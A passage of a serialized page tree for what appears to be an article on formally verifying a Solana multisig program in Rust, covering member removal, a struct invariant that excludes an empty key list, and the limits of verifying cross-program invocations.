,{"type":26,"value":1049},{"type":20,"tag":315,"props":25604,"children":25605},{"style":635},[25606],{"type":26,"value":24215},{"type":20,"tag":315,"props":25608,"children":25609},{"style":328},[25610],{"type":26,"value":1509},{"type":20,"tag":315,"props":25612,"children":25613},{"style":334},[25614],{"type":26,"value":1537},{"type":20,"tag":315,"props":25616,"children":25617},{"style":328},[25618],{"type":26,"value":1405},{"type":20,"tag":29,"props":25620,"children":25621},{},[25622,25624,25630,25632,25638],{"type":26,"value":25623},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":20,"tag":119,"props":25625,"children":25627},{"className":25626},[],[25628],{"type":26,"value":25629},"Ms::is_member",{"type":26,"value":25631},") and if it is not, it simply skips the removal and returns ",{"type":20,"tag":119,"props":25633,"children":25635},{"className":25634},[],[25636],{"type":26,"value":25637},"Ok(())",{"type":26,"value":61},{"type":20,"tag":305,"props":25640,"children":25642},{"code":25641,"language":1359,"meta":7,"className":1360,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[25643],{"type":20,"tag":119,"props":25644,"children":25645},{"__ignoreMap":7},[25646,25710,25769,25806,25865,25933,25940,25947,25958],{"type":20,"tag":315,"props":25647,"children":25648},{"class":317,"line":318},[25649,25653,25657,25661,25665,25669,25673,25677,25681,25686,25690,25694,25698,25702,25706],{"type":20,"tag":315,"props":25650,"children":25651},{"style":541},[25652],{"type":26,"value":12091},{"type":20,"tag":315,"props":25654,"children":25655},{"style":541},[25656],{"type":26,"value":12096},{"type":20,"tag":315,"props":25658,"children":25659},{"style":345},[25660],{"type":26,"value":24181},{"type":20,"tag":315,"props":25662,"children":25663},{"style":328},[25664],{"type":26,"value":1049},{"type":20,"tag":315,"props":25666,"children":25667},{"style":334},[25668],{"type":26,"value":1490},{"type":20,"tag":315,"props":25670,"children":25671},{"style":541},[25672],{"type":26,"value":2107},{"type":20,"tag":315,"props":25674,"children":25675},{"style":541},[25676],{"type":26,"value":12198},{"type":20,"tag":315,"props":25678,"children":25679},{"style":328},[25680],{"type":26,"value":44},{"type":20,"tag":315,"props":25682,"children":25683},{"style":635},[25684],{"type":26,"value":25685},"member",{"type":20,"tag":315,"props":25687,"children":25688},{"style":334},[25689],{"type":26,"value":2884},{"type":20,"tag":315,"props":25691,"children":25692},{"style":322},[25693],{"type":26,"value":19261},{"type":20,"tag":315,"props":25695,"children":25696},{"style":328},[25697],{"type":26,"value":1468},{"type":20,"tag":315,"props":25699,"children":25700},{"style":334},[25701],{"type":26,"value":12158},{"type":20,"tag":315,"props":25703,"children":25704},{"style":322},[25705],{"type":26,"value":12163},{"type":20,"tag":315,"props":25707,"children":25708},{"style":328},[25709],{"type":26,"value":18735},{"type":20,"tag":315,"props":25711,"children":25712},{"class":317,"line":356},[25713,25717,25722,25727,25731,25736,25740,25744,25748,25752,25757,25761,25765],{"type":20,"tag":315,"props":25714,"children":25715},{"style":525},[25716],{"type":26,"value":10680},{"type":20,"tag":315,"props":25718,"children":25719},{"style":541},[25720],{"type":26,"value":25721}," let",{"type":20,"tag":315,"props":25723,"children":25724},{"style":322},[25725],{"type":26,"value":25726}," Some",{"type":20,"tag":315,"props":25728,"children":25729},{"style":328},[25730],{"type":26,"value":1049},{"type":20,"tag":315,"props":25732,"children":25733},{"style":635},[25734],{"type":26,"value":25735},"ind",{"type":20,"tag":315,"props":25737,"children":25738},{"style":328},[25739],{"type":26,"value":1468},{"type":20,"tag":315,"props":25741,"children":25742},{"style":334},[25743],{"type":26,"value":337},{"type":20,"tag":315,"props":25745,"children":25746},{"style":541},[25747],{"type":26,"value":12198},{"type":20,"tag":315,"props":25749,"children":25750},{"style":334},[25751],{"type":26,"value":61},{"type":20,"tag":315,"props":25753,"children":25754},{"style":345},[25755],{"type":26,"value":25756},"is_member",{"type":20,"tag":315,"props":25758,"children":25759},{"style":328},[25760],{"type":26,"value":1049},{"type":20,"tag":315,"props":25762,"children":25763},{"style":635},[25764],{"type":26,"value":25685},{"type":20,"tag":315,"props":25766,"children":25767},{"style":328},[25768],{"type":26,"value":549},{"type":20,"tag":315,"props":25770,"children":25771},{"class":317,"line":365},[25772,25777,25781,25785,25789,25794,25798,25802],{"type":20,"tag":315,"props":25773,"children":25774},{"style":541},[25775],{"type":26,"value":25776}," self",{"type":20,"tag":315,"props":25778,"children":25779},{"style":334},[25780],{"type":26,"value":61},{"type":20,"tag":315,"props":25782,"children":25783},{"style":328},[25784],{"type":26,"value":19387},{"type":20,"tag":315,"props":25786,"children":25787},{"style":334},[25788],{"type":26,"value":61},{"type":20,"tag":315,"props":25790,"children":25791},{"style":345},[25792],{"type":26,"value":25793},"remove",{"type":20,"tag":315,"props":25795,"children":25796},{"style":328},[25797],{"type":26,"value":1049},{"type":20,"tag":315,"props":25799,"children":25800},{"style":635},[25801],{"type":26,"value":25735},{"type":20,"tag":315,"props":25803,"children":25804},{"style":328},[25805],{"type":26,"value":2214},{"type":20,"tag":315,"props":25807,"children":25808},{"class":317,"line":374},[25809,25813,25817,25821,25825,25829,25833,25837,25841,25845,25849,25853,25857,25861],{"type":20,"tag":315,"props":25810,"children":25811},{"style":525},[25812],{"type":26,"value":1654},{"type":20,"tag":315,"props":25814,"children":25815},{"style":541},[25816],{"type":26,"value":12198},{"type":20,"tag":315,"props":25818,"children":25819},{"style":334},[25820],{"type":26,"value":61},{"type":20,"tag":315,"props":25822,"children":25823},{"style":328},[25824],{"type":26,"value":19387},{"type":20,"tag":315,"props":25826,"children":25827},{"style":334},[25828],{"type":26,"value":61},{"type":20,"tag":315,"props":25830,"children":25831},{"style":345},[25832],{"type":26,"value":7537},{"type":20,"tag":315,"props":25834,"children":25835},{"style":328},[25836],{"type":26,"value":24460},{"type":20,"tag":315,"props":25838,"children":25839},{"style":322},[25840],{"type":26,"value":15003},{"type":20,"tag":315,"props":25842,"children":25843},{"style":334},[25844],{"type":26,"value":1861},{"type":20,"tag":315,"props":25846,"children":25847},{"style":345},[25848],{"type":26,"value":17877},{"type":20,"tag":315,"props":25850,"children":25851},{"style":328},[25852],{"type":26,"value":1049},{"type":20,"tag":315,"props":25854,"children":25855},{"style":541},[25856],{"type":26,"value":12114},{"type":20,"tag":315,"props":25858,"children":25859},{"style":334},[25860],{"type":26,"value":61},{"type":20,"tag":315,"props":25862,"children":25863},{"style":328},[25864],{"type":26,"value":24505},{"type":20,"tag":315,"props":25866,"children":25867},{"class":317,"line":383},[25868,25873,25877,25881,25885,25889,25893,25897,25901,25905,25909,25913,25917,25921,25925,25929],{"type":20,"tag":315,"props":25869,"children":25870},{"style":541},[25871],{"type":26,"value":25872}," self",{"type":20,"tag":315,"props":25874,"children":25875},{"style":334},[25876],{"type":26,"value":61},{"type":20,"tag":315,"props":25878,"children":25879},{"style":328},[25880],{"type":26,"value":19475},{"type":20,"tag":315,"props":25882,"children":25883},{"style":334},[25884],{"type":26,"value":337},{"type":20,"tag":315,"props":25886,"children":25887},{"style":541},[25888],{"type":26,"value":12198},{"type":20,"tag":315,"props":25890,"children":25891},{"style":334},[25892],{"type":26,"value":61},{"type":20,"tag":315,"props":25894,"children":25895},{"style":328},[25896],{"type":26,"value":19387},{"type":20,"tag":315,"props":25898,"children":25899},{"style":334},[25900],{"type":26,"value":61},{"type":20,"tag":315,"props":25902,"children":25903},{"style":345},[25904],{"type":26,"value":7537},{"type":20,"tag":315,"props":25906,"children":25907},{"style":328},[25908],{"type":26,"value":12280},{"type":20,"tag":315,"props":25910,"children":25911},{"style":334},[25912],{"type":26,"value":61},{"type":20,"tag":315,"props":25914,"children":25915},{"style":345},[25916],{"type":26,"value":24578},{"type":20,"tag":315,"props":25918,"children":25919},{"style":328},[25920],{"type":26,"value":12280},{"type":20,"tag":315,"props":25922,"children":25923},{"style":334},[25924],{"type":26,"value":61},{"type":20,"tag":315,"props":25926,"children":25927},{"style":345},[25928],{"type":26,"value":2046},{"type":20,"tag":315,"props":25930,"children":25931},{"style":328},[25932],{"type":26,"value":568},{"type":20,"tag":315,"props":25934,"children":25935},{"class":317,"line":407},[25936],{"type":20,"tag":315,"props":25937,"children":25938},{"style":328},[25939],{"type":26,"value":1728},{"type":20,"tag":315,"props":25941,"children":25942},{"class":317,"line":421},[25943],{"type":20,"tag":315,"props":25944,"children":25945},{"style":328},[25946],{"type":26,"value":1736},{"type":20,"tag":315,"props":25948,"children":25949},{"class":317,"line":430},[25950,25954],{"type":20,"tag":315,"props":25951,"children":25952},{"style":322},[25953],{"type":26,"value":12734},{"type":20,"tag":315,"props":25955,"children":25956},{"style":328},[25957],{"type":26,"value":12739},{"type":20,"tag":315,"props":25959,"children":25960},{"class":317,"line":453},[25961],{"type":20,"tag":315,"props":25962,"children":25963},{"style":328},[25964],{"type":26,"value":577},{"type":20,"tag":29,"props":25966,"children":25967},{},[25968,25970,25975,25977,25983,25985,25991,25993,25998],{"type":26,"value":25969},"Inside ",{"type":20,"tag":119,"props":25971,"children":25973},{"className":25972},[],[25974],{"type":26,"value":25629},{"type":26,"value":25976},", we see that it performs a ",{"type":20,"tag":119,"props":25978,"children":25980},{"className":25979},[],[25981],{"type":26,"value":25982},"binary_search",{"type":26,"value":25984}," on the keys vec and returns the index or ",{"type":20,"tag":119,"props":25986,"children":25988},{"className":25987},[],[25989],{"type":26,"value":25990},"None",{"type":26,"value":25992},". Since the vec has size zero, this will just return ",{"type":20,"tag":119,"props":25994,"children":25996},{"className":25995},[],[25997],{"type":26,"value":25990},{"type":26,"value":61},{"type":20,"tag":305,"props":26000,"children":26002},{"code":26001,"language":1359,"meta":7,"className":1360,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[26003],{"type":20,"tag":119,"props":26004,"children":26005},{"__ignoreMap":7},[26006,26075,26118,26157,26179,26186],{"type":20,"tag":315,"props":26007,"children":26008},{"class":317,"line":318},[26009,26013,26017,26022,26026,26030,26034,26038,26042,26046,26050,26054,26058,26063,26067,26071],{"type":20,"tag":315,"props":26010,"children":26011},{"style":541},[26012],{"type":26,"value":12091},{"type":20,"tag":315,"props":26014,"children":26015},{"style":541},[26016],{"type":26,"value":12096},{"type":20,"tag":315,"props":26018,"children":26019},{"style":345},[26020],{"type":26,"value":26021}," is_member",{"type":20,"tag":315,"props":26023,"children":26024},{"style":328},[26025],{"type":26,"value":1049},{"type":20,"tag":315,"props":26027,"children":26028},{"style":334},[26029],{"type":26,"value":1490},{"type":20,"tag":315,"props":26031,"children":26032},{"style":541},[26033],{"type":26,"value":12114},{"type":20,"tag":315,"props":26035,"children":26036},{"style":328},[26037],{"type":26,"value":44},{"type":20,"tag":315,"props":26039,"children":26040},{"style":635},[26041],{"type":26,"value":25685},{"type":20,"tag":315,"props":26043,"children":26044},{"style":334},[26045],{"type":26,"value":2884},{"type":20,"tag":315,"props":26047,"children":26048},{"style":322},[26049],{"type":26,"value":19261},{"type":20,"tag":315,"props":26051,"children":26052},{"style":328},[26053],{"type":26,"value":1468},{"type":20,"tag":315,"props":26055,"children":26056},{"style":334},[26057],{"type":26,"value":12158},{"type":20,"tag":315,"props":26059,"children":26060},{"style":322},[26061],{"type":26,"value":26062}," Option",{"type":20,"tag":315,"props":26064,"children":26065},{"style":328},[26066],{"type":26,"value":4199},{"type":20,"tag":315,"props":26068,"children":26069},{"style":322},[26070],{"type":26,"value":15003},{"type":20,"tag":315,"props":26072,"children":26073},{"style":328},[26074],{"type":26,"value":5676},{"type":20,"tag":315,"props":26076,"children":26077},{"class":317,"line":356},[26078,26082,26086,26090,26094,26098,26102,26106,26110,26114],{"type":20,"tag":315,"props":26079,"children":26080},{"style":525},[26081],{"type":26,"value":13154},{"type":20,"tag":315,"props":26083,"children":26084},{"style":541},[26085],{"type":26,"value":12198},{"type":20,"tag":315,"props":26087,"children":26088},{"style":334},[26089],{"type":26,"value":61},{"type":20,"tag":315,"props":26091,"children":26092},{"style":328},[26093],{"type":26,"value":19387},{"type":20,"tag":315,"props":26095,"children":26096},{"style":334},[26097],{"type":26,"value":61},{"type":20,"tag":315,"props":26099,"children":26100},{"style":345},[26101],{"type":26,"value":25982},{"type":20,"tag":315,"props":26103,"children":26104},{"style":328},[26105],{"type":26,"value":1049},{"type":20,"tag":315,"props":26107,"children":26108},{"style":334},[26109],{"type":26,"value":1490},{"type":20,"tag":315,"props":26111,"children":26112},{"style":635},[26113],{"type":26,"value":25685},{"type":20,"tag":315,"props":26115,"children":26116},{"style":328},[26117],{"type":26,"value":549},{"type":20,"tag":315,"props":26119,"children":26120},{"class":317,"line":365},[26121,26125,26129,26133,26137,26141,26145,26149,26153],{"type":20,"tag":315,"props":26122,"children":26123},{"style":322},[26124],{"type":26,"value":13212},{"type":20,"tag":315,"props":26126,"children":26127},{"style":328},[26128],{"type":26,"value":1049},{"type":20,"tag":315,"props":26130,"children":26131},{"style":635},[26132],{"type":26,"value":25735},{"type":20,"tag":315,"props":26134,"children":26135},{"style":328},[26136],{"type":26,"value":1468},{"type":20,"tag":315,"props":26138,"children":26139},{"style":334},[26140],{"type":26,"value":13222},{"type":20,"tag":315,"props":26142,"children":26143},{"style":322},[26144],{"type":26,"value":25726},{"type":20,"tag":315,"props":26146,"children":26147},{"style":328},[26148],{"type":26,"value":1049},{"type":20,"tag":315,"props":26150,"children":26151},{"style":635},[26152],{"type":26,"value":25735},{"type":20,"tag":315,"props":26154,"children":26155},{"style":328},[26156],{"type":26,"value":5131},{"type":20,"tag":315,"props":26158,"children":26159},{"class":317,"line":374},[26160,26165,26170,26175],{"type":20,"tag":315,"props":26161,"children":26162},{"style":635},[26163],{"type":26,"value":26164}," _",{"type":20,"tag":315,"props":26166,"children":26167},{"style":334},[26168],{"type":26,"value":26169}," =>",{"type":20,"tag":315,"props":26171,"children":26172},{"style":322},[26173],{"type":26,"value":26174}," None",{"type":20,"tag":315,"props":26176,"children":26177},{"style":328},[26178],{"type":26,"value":643},{"type":20,"tag":315,"props":26180,"children":26181},{"class":317,"line":383},[26182],{"type":20,"tag":315,"props":26183,"children":26184},{"style":328},[26185],{"type":26,"value":1736},{"type":20,"tag":315,"props":26187,"children":26188},{"class":317,"line":407},[26189],{"type":20,"tag":315,"props":26190,"children":26191},{"style":328},[26192],{"type":26,"value":577},{"type":20,"tag":29,"props":26194,"children":26195},{},[26196,26198,26203,26205,26210,26212,26217,26219,26224],{"type":26,"value":26197},"So interestingly, a ",{"type":20,"tag":119,"props":26199,"children":26201},{"className":26200},[],[26202],{"type":26,"value":19387},{"type":26,"value":26204}," vec of size 0 ",{"type":20,"tag":55,"props":26206,"children":26207},{},[26208],{"type":26,"value":26209},"is actually",{"type":26,"value":26211}," a sufficient condition to execute ",{"type":20,"tag":119,"props":26213,"children":26215},{"className":26214},[],[26216],{"type":26,"value":23882},{"type":26,"value":26218},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":20,"tag":55,"props":26220,"children":26221},{},[26222],{"type":26,"value":26223},"valid",{"type":26,"value":26225}," multisig, the number of keys should never be zero.",{"type":20,"tag":29,"props":26227,"children":26228},{},[26229,26231,26236],{"type":26,"value":26230},"We can represent this ",{"type":20,"tag":55,"props":26232,"children":26233},{},[26234],{"type":26,"value":26235},"validity",{"type":26,"value":26237}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":20,"tag":305,"props":26239,"children":26241},{"code":26240,"language":1359,"meta":7,"className":1360,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[26242],{"type":20,"tag":119,"props":26243,"children":26244},{"__ignoreMap":7},[26245,26252,26275,26326,26333],{"type":20,"tag":315,"props":26246,"children":26247},{"class":317,"line":318},[26248],{"type":20,"tag":315,"props":26249,"children":26250},{"style":328},[26251],{"type":26,"value":19182},{"type":20,"tag":315,"props":26253,"children":26254},{"class":317,"line":356},[26255,26259,26263,26267,26271],{"type":20,"tag":315,"props":26256,"children":26257},{"style":328},[26258],{"type":26,"value":23145},{"type":20,"tag":315,"props":26260,"children":26261},{"style":334},[26262],{"type":26,"value":61},{"type":20,"tag":315,"props":26264,"children":26265},{"style":328},[26266],{"type":26,"value":19475},{"type":20,"tag":315,"props":26268,"children":26269},{"style":334},[26270],{"type":26,"value":8343},{"type":20,"tag":315,"props":26272,"children":26273},{"style":328},[26274],{"type":26,"value":19484},{"type":20,"tag":315,"props":26276,"children":26277},{"class":317,"line":365},[26278,26282,26286,26290,26294,26298,26302,26306,26310,26314,26318,26322],{"type":20,"tag":315,"props":26279,"children":26280},{"style":334},[26281],{"type":26,"value":14022},{"type":20,"tag":315,"props":26283,"children":26284},{"style":328},[26285],{"type":26,"value":19408},{"type":20,"tag":315,"props":26287,"children":26288},{"style":334},[26289],{"type":26,"value":61},{"type":20,"tag":315,"props":26291,"children":26292},{"style":328},[26293],{"type":26,"value":19475},{"type":20,"tag":315,"props":26295,"children":26296},{"style":541},[26297],{"type":26,"value":7238},{"type":20,"tag":315,"props":26299,"children":26300},{"style":322},[26301],{"type":26,"value":12132},{"type":20,"tag":315,"props":26303,"children":26304},{"style":334},[26305],{"type":26,"value":6593},{"type":20,"tag":315,"props":26307,"children":26308},{"style":328},[26309],{"type":26,"value":12198},{"type":20,"tag":315,"props":26311,"children":26312},{"style":334},[26313],{"type":26,"value":61},{"type":20,"tag":315,"props":26315,"children":26316},{"style":328},[26317],{"type":26,"value":19387},{"type":20,"tag":315,"props":26319,"children":26320},{"style":334},[26321],{"type":26,"value":61},{"type":20,"tag":315,"props":26323,"children":26324},{"style":328},[26325],{"type":26,"value":19536},{"type":20,"tag":315,"props":26327,"children":26328},{"class":317,"line":374},[26329],{"type":20,"tag":315,"props":26330,"children":26331},{"style":328},[26332],{"type":26,"value":18662},{"type":20,"tag":315,"props":26334,"children":26335},{"class":317,"line":383},[26336,26340,26344,26348,26352,26356],{"type":20,"tag":315,"props":26337,"children":26338},{"style":541},[26339],{"type":26,"value":12091},{"type":20,"tag":315,"props":26341,"children":26342},{"style":541},[26343],{"type":26,"value":19555},{"type":20,"tag":315,"props":26345,"children":26346},{"style":322},[26347],{"type":26,"value":19560},{"type":20,"tag":315,"props":26349,"children":26350},{"style":328},[26351],{"type":26,"value":7985},{"type":20,"tag":315,"props":26353,"children":26354},{"style":334},[26355],{"type":26,"value":7990},{"type":20,"tag":315,"props":26357,"children":26358},{"style":328},[26359],{"type":26,"value":7995},{"type":20,"tag":29,"props":26361,"children":26362},{},[26363,26365,26371,26373,26379],{"type":26,"value":26364},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":20,"tag":119,"props":26366,"children":26368},{"className":26367},[],[26369],{"type":26,"value":26370},"keys.len() == 0",{"type":26,"value":26372}," and allows us to prove the biconditional ",{"type":20,"tag":119,"props":26374,"children":26376},{"className":26375},[],[26377],{"type":26,"value":26378},"(keys.len() >= 1) -> (instruction succeeds)",{"type":26,"value":61},{"type":20,"tag":219,"props":26381,"children":26383},{"id":26382},"safety-guarantees",[26384],{"type":26,"value":21189},{"type":20,"tag":29,"props":26386,"children":26387},{},[26388],{"type":26,"value":26389},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":20,"tag":29,"props":26391,"children":26392},{},[26393],{"type":26,"value":26394},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":20,"tag":29,"props":26396,"children":26397},{},[26398,26400,26406],{"type":26,"value":26399},"In the multisig program this happens in the ",{"type":20,"tag":119,"props":26401,"children":26403},{"className":26402},[],[26404],{"type":26,"value":26405},"execute_transaction",{"type":26,"value":26407}," instruction.",{"type":20,"tag":29,"props":26409,"children":26410},{},[26411],{"type":20,"tag":55,"props":26412,"children":26413},{},[26414],{"type":26,"value":26415},"So what do you do?",{"type":20,"tag":29,"props":26417,"children":26418},{},[26419],{"type":26,"value":26420},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":20,"tag":305,"props":26422,"children":26424},{"code":26423,"language":1359,"meta":7,"className":1360,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[26425],{"type":20,"tag":119,"props":26426,"children":26427},{"__ignoreMap":7},[26428,26443,26459,26474,26515,26522,26529,26536,26553,26569,26590,26597,26604,26620,26640,26668,26675,26682,26689,26697,26750,26776,26783,26812,26836,26871,26878,26889],{"type":20,"tag":315,"props":26429,"children":26430},{"class":317,"line":318},[26431,26435,26439],{"type":20,"tag":315,"props":26432,"children":26433},{"style":328},[26434],{"type":26,"value":21242},{"type":20,"tag":315,"props":26436,"children":26437},{"style":322},[26438],{"type":26,"value":21247},{"type":20,"tag":315,"props":26440,"children":26441},{"style":328},[26442],{"type":26,"value":18662},{"type":20,"tag":315,"props":26444,"children":26445},{"class":317,"line":356},[26446,26450,26455],{"type":20,"tag":315,"props":26447,"children":26448},{"style":541},[26449],{"type":26,"value":12091},{"type":20,"tag":315,"props":26451,"children":26452},{"style":322},[26453],{"type":26,"value":26454}," MyCtx",{"type":20,"tag":315,"props":26456,"children":26457},{"style":328},[26458],{"type":26,"value":1092},{"type":20,"tag":315,"props":26460,"children":26461},{"class":317,"line":365},[26462,26466,26470],{"type":20,"tag":315,"props":26463,"children":26464},{"style":328},[26465],{"type":26,"value":21534},{"type":20,"tag":315,"props":26467,"children":26468},{"style":541},[26469],{"type":26,"value":2107},{"type":20,"tag":315,"props":26471,"children":26472},{"style":328},[26473],{"type":26,"value":18662},{"type":20,"tag":315,"props":26475,"children":26476},{"class":317,"line":374},[26477,26481,26486,26490,26494,26498,26502,26506,26511],{"type":20,"tag":315,"props":26478,"children":26479},{"style":541},[26480],{"type":26,"value":19247},{"type":20,"tag":315,"props":26482,"children":26483},{"style":635},[26484],{"type":26,"value":26485}," my_account",{"type":20,"tag":315,"props":26487,"children":26488},{"style":334},[26489],{"type":26,"value":2884},{"type":20,"tag":315,"props":26491,"children":26492},{"style":322},[26493],{"type":26,"value":21499},{"type":20,"tag":315,"props":26495,"children":26496},{"style":328},[26497],{"type":26,"value":21327},{"type":20,"tag":315,"props":26499,"children":26500},{"style":322},[26501],{"type":26,"value":21332},{"type":20,"tag":315,"props":26503,"children":26504},{"style":328},[26505],{"type":26,"value":44},{"type":20,"tag":315,"props":26507,"children":26508},{"style":322},[26509],{"type":26,"value":26510},"Acc",{"type":20,"tag":315,"props":26512,"children":26513},{"style":328},[26514],{"type":26,"value":4386},{"type":20,"tag":315,"props":26516,"children":26517},{"class":317,"line":383},[26518],{"type":20,"tag":315,"props":26519,"children":26520},{"style":328},[26521],{"type":26,"value":577},{"type":20,"tag":315,"props":26523,"children":26524},{"class":317,"line":407},[26525],{"type":20,"tag":315,"props":26526,"children":26527},{"emptyLinePlaceholder":15},[26528],{"type":26,"value":427},{"type":20,"tag":315,"props":26530,"children":26531},{"class":317,"line":421},[26532],{"type":20,"tag":315,"props":26533,"children":26534},{"style":328},[26535],{"type":26,"value":19174},{"type":20,"tag":315,"props":26537,"children":26538},{"class":317,"line":430},[26539,26544,26548],{"type":20,"tag":315,"props":26540,"children":26541},{"style":328},[26542],{"type":26,"value":26543},"#[invariant(bad ",{"type":20,"tag":315,"props":26545,"children":26546},{"style":334},[26547],{"type":26,"value":538},{"type":20,"tag":315,"props":26549,"children":26550},{"style":328},[26551],{"type":26,"value":26552}," false)]\n",{"type":20,"tag":315,"props":26554,"children":26555},{"class":317,"line":453},[26556,26560,26565],{"type":20,"tag":315,"props":26557,"children":26558},{"style":541},[26559],{"type":26,"value":7800},{"type":20,"tag":315,"props":26561,"children":26562},{"style":322},[26563],{"type":26,"value":26564}," Acc",{"type":20,"tag":315,"props":26566,"children":26567},{"style":328},[26568],{"type":26,"value":1092},{"type":20,"tag":315,"props":26570,"children":26571},{"class":317,"line":486},[26572,26576,26581,26585],{"type":20,"tag":315,"props":26573,"children":26574},{"style":541},[26575],{"type":26,"value":19247},{"type":20,"tag":315,"props":26577,"children":26578},{"style":635},[26579],{"type":26,"value":26580}," bad",{"type":20,"tag":315,"props":26582,"children":26583},{"style":334},[26584],{"type":26,"value":2884},{"type":20,"tag":315,"props":26586,"children":26587},{"style":322},[26588],{"type":26,"value":26589}," bool\n",{"type":20,"tag":315,"props":26591,"children":26592},{"class":317,"line":499},[26593],{"type":20,"tag":315,"props":26594,"children":26595},{"style":328},[26596],{"type":26,"value":577},{"type":20,"tag":315,"props":26598,"children":26599},{"class":317,"line":513},[26600],{"type":20,"tag":315,"props":26601,"children":26602},{"emptyLinePlaceholder":15},[26603],{"type":26,"value":427},{"type":20,"tag":315,"props":26605,"children":26606},{"class":317,"line":521},[26607,26612,26616],{"type":20,"tag":315,"props":26608,"children":26609},{"style":541},[26610],{"type":26,"value":26611},"impl",{"type":20,"tag":315,"props":26613,"children":26614},{"style":322},[26615],{"type":26,"value":26564},{"type":20,"tag":315,"props":26617,"children":26618},{"style":328},[26619],{"type":26,"value":1092},{"type":20,"tag":315,"props":26621,"children":26622},{"class":317,"line":552},[26623,26627,26631,26636],{"type":20,"tag":315,"props":26624,"children":26625},{"style":541},[26626],{"type":26,"value":19247},{"type":20,"tag":315,"props":26628,"children":26629},{"style":541},[26630],{"type":26,"value":12096},{"type":20,"tag":315,"props":26632,"children":26633},{"style":345},[26634],{"type":26,"value":26635}," put_into_bad_state",{"type":20,"tag":315,"props":26637,"children":26638},{"style":328},[26639],{"type":26,"value":14137},{"type":20,"tag":315,"props":26641,"children":26642},{"class":317,"line":571},[26643,26647,26651,26656,26660,26664],{"type":20,"tag":315,"props":26644,"children":26645},{"style":541},[26646],{"type":26,"value":25776},{"type":20,"tag":315,"props":26648,"children":26649},{"style":334},[26650],{"type":26,"value":61},{"type":20,"tag":315,"props":26652,"children":26653},{"style":328},[26654],{"type":26,"value":26655},"bad ",{"type":20,"tag":315,"props":26657,"children":26658},{"style":334},[26659],{"type":26,"value":337},{"type":20,"tag":315,"props":26661,"children":26662},{"style":541},[26663],{"type":26,"value":544},{"type":20,"tag":315,"props":26665,"children":26666},{"style":328},[26667],{"type":26,"value":1405},{"type":20,"tag":315,"props":26669,"children":26670},{"class":317,"line":2031},[26671],{"type":20,"tag":315,"props":26672,"children":26673},{"style":328},[26674],{"type":26,"value":1736},{"type":20,"tag":315,"props":26676,"children":26677},{"class":317,"line":2053},[26678],{"type":20,"tag":315,"props":26679,"children":26680},{"style":328},[26681],{"type":26,"value":577},{"type":20,"tag":315,"props":26683,"children":26684},{"class":317,"line":2061},[26685],{"type":20,"tag":315,"props":26686,"children":26687},{"emptyLinePlaceholder":15},[26688],{"type":26,"value":427},{"type":20,"tag":315,"props":26690,"children":26691},{"class":317,"line":2070},[26692],{"type":20,"tag":315,"props":26693,"children":26694},{"style":1071},[26695],{"type":26,"value":26696},"// Instruction handler:\n",{"type":20,"tag":315,"props":26698,"children":26699},{"class":317,"line":2139},[26700,26704,26709,26713,26717,26721,26725,26729,26734,26738,26742,26746],{"type":20,"tag":315,"props":26701,"children":26702},{"style":541},[26703],{"type":26,"value":18670},{"type":20,"tag":315,"props":26705,"children":26706},{"style":345},[26707],{"type":26,"value":26708}," hard_to_verify",{"type":20,"tag":315,"props":26710,"children":26711},{"style":328},[26712],{"type":26,"value":1049},{"type":20,"tag":315,"props":26714,"children":26715},{"style":635},[26716],{"type":26,"value":18684},{"type":20,"tag":315,"props":26718,"children":26719},{"style":334},[26720],{"type":26,"value":2884},{"type":20,"tag":315,"props":26722,"children":26723},{"style":322},[26724],{"type":26,"value":18693},{"type":20,"tag":315,"props":26726,"children":26727},{"style":328},[26728],{"type":26,"value":4199},{"type":20,"tag":315,"props":26730,"children":26731},{"style":322},[26732],{"type":26,"value":26733},"MyCtx",{"type":20,"tag":315,"props":26735,"children":26736},{"style":328},[26737],{"type":26,"value":18850},{"type":20,"tag":315,"props":26739,"children":26740},{"style":334},[26741],{"type":26,"value":12158},{"type":20,"tag":315,"props":26743,"children":26744},{"style":322},[26745],{"type":26,"value":12163},{"type":20,"tag":315,"props":26747,"children":26748},{"style":328},[26749],{"type":26,"value":18735},{"type":20,"tag":315,"props":26751,"children":26752},{"class":317,"line":2147},[26753,26758,26762,26766,26771],{"type":20,"tag":315,"props":26754,"children":26755},{"style":345},[26756],{"type":26,"value":26757}," invoke_signed",{"type":20,"tag":315,"props":26759,"children":26760},{"style":328},[26761],{"type":26,"value":1049},{"type":20,"tag":315,"props":26763,"children":26764},{"style":334},[26765],{"type":26,"value":7990},{"type":20,"tag":315,"props":26767,"children":26768},{"style":328},[26769],{"type":26,"value":26770},"); ",{"type":20,"tag":315,"props":26772,"children":26773},{"style":1071},[26774],{"type":26,"value":26775},"// Cross-program 